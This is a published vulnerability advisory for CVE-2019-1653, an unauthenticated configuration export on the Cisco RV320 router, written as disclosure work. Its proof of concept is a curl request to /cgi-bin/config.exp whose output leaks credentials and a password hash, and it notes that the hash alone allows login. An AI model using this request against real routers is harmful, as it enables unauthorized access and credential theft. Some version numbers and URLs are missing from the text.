Advisory: Cisco RV320 Unauthenticated Configuration Export RedTeam Pentesting discovered that the configuration of a Cisco RV320 router may be exported without authentication through the device's web interface. Details ======= Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions:, Fixed Versions: since Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: Vendor Status: fixed version released Advisory URL: Advisory Status: published CVE: CVE-2019-1653 CVE URL: Introduction ============ "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details ============ The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface. In the device's firmware, this functionality is implemented using a variety of CGI programs. Access to this web interface requires prior authentication using a username and password. RedTeam Pentesting discovered the CGI program: /cgi-bin/config.exp This program can be used to export the router's configuration. In contrast to other functions, this CGI program does not require any form of authentication. It may be accessed through the router's web server, which is available from the LAN by default. As described in [2], firmware versions from 1.4.2 to (including) also expose the web server to the WAN on TCP port 8007. Proof of Concept ================ A device's configuration can be retrieved by issuing an HTTP GET request to the vulnerable CGI program (output shortened): ------------------------------------------------------------------------ $ curl -s ####sysconfig#### [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX [...] [SYSTEM] HOSTNAME=router DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 [...] ------------------------------------------------------------------------ Workaround ========== Prevent untrusted clients from connecting to the device's web server. Fix === Install firmware version (or later) on the router. Security Risk ============= This vulnerability is rated as a high risk as it exposes the device's configuration to untrusted, potentially malicious parties. By downloading the configuration, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router's user accounts. Knowledge of a user's password hash is sufficient to log into the router's web interface. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks.
